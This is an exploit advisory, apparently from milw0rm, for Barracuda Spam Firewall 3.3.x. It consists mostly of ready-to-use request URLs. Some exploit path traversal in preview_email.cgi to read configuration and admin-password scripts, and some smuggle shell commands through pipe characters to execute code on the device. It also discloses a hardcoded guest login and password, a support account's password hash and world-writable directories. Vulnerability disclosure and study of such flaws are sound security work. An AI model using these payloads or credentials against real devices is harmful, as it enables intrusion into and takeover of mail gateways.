Barracuda Spam Firewall 3.3.03.053 - Remote Code Execution (2)

Title: Barracuda Arbitrary File Disclosure + Command Execution
Severity: High (Sensitive Information Disclosure)
Date: 01 August 2006
Version Affected: Barracuda Spam Firewall version 3.3.01.001 to 3.3.03.053
Discovered by: Greg Sinclair
Credits: Matthew Hall
Update: 07 August 2006
Updated by: PATz
 
####################################################################
 
Proof of Concept:
https://<deviceIP>/cgi-bin/preview_email.cgi?file=/mail/mlog/../tmp/backup/periodic_config.txt.tmp
https://<deviceIP>/cgi-bin/preview_email.cgi?file=/mail/mlog/../../bin/ls%20/|
 
 
####################################################################
 
#using |unix| for command execution:
 
https://<deviceIP>/cgi-bin/preview_email.cgi?file=/mail/mlog/|uname%20-a|

#admin login/pass vuln
 
https://<deviceIP>/cgi-bin/preview_email.cgi?file=/mail/mlog|cat%20update_admin_passwd.pl|
https://<deviceIP>/cgi-bin/preview_email.cgi?file=/mail/mlog/../bin/update_admin_passwd.pl
 
eg.

#`/home/emailswitch/code/firmware/current/bin/updateUser.pl guest phteam99 2>&1`;
login: guest pass: phteam99

some folder are accessible via http without permission
https://<deviceIP>/Translators/
https://<deviceIP>/images/
https://<deviceIP>/locale
https://<deviceIP>/plugins
https://<deviceIP>/help
 
#stuff in do_install
 
/usr/sbin/useradd support -s /home/emailswitch/code/firmware/current/bin/request_support.pl -p swUpHFjf1MUiM
 
## Create backup tmp dir

/bin/mkdir -p /mail/tmp/backup/
chmod -R 777 /mail/tmp/
 
## Create smb backup mount point
/bin/mkdir -p /mnt/smb/
chmod 777 /mnt/smb/
 
.................................
Greetz to all noypi and phteam ^^,
.............eof.................

# milw0rm.com [2006-08-08]